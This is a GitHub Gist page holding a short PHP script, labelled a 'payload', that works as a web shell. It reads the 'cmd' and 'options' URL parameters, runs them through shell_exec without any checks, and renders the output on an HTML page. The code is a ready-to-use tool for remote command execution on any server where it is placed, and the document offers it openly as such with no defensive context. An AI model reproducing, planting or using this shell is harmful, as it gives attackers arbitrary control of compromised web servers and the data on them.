Created
August 17, 2019 15:09
-
-
Save dino213dz/b8f066c51124eb7b9f5495503762d38e to your computer and use it in GitHub Desktop.
Payload that allows to run commands and displays them correctly on a web page
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$cde=$_GET['cmd']; | |
$options=$_GET['options']; | |
$commande=$cde.' '.$options; | |
$console_symbol='<b> > </b>'; | |
echo '<html><head><title>'.$commande.'</title></head><body>'; | |
echo $console_symbol.' '.$commande.' : <HR>'; | |
$retour_cde=shell_exec(''.$commande.' 2>&1 >/tmp/cmd.log;while read ligne; do echo $ligne"</BR>"; done < /tmp/cmd.log'); | |
$retour_cde=str_replace(' ',' ',$retour_cde); | |
$retour_cde=str_replace(' ',' ',$retour_cde); | |
$lignes_retour_cde=explode('\n',$retour_cde); | |
for($l=0;$l<count($lignes_retour_cde);$l++){ | |
if(trim($lignes_retour_cde[$l])!='') | |
echo ''.$console_symbol.''.$lignes_retour_cde[$l].'</BR>'; | |
else{ | |
if($l<count($lignes_retour_cde)-1){ | |
//ligne vide | |
echo '</BR>'; | |
} | |
else { //fin du resultat de la commande | |
echo '</span></div>'; | |
} | |
} | |
} | |
echo '</body></html>'; | |
?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment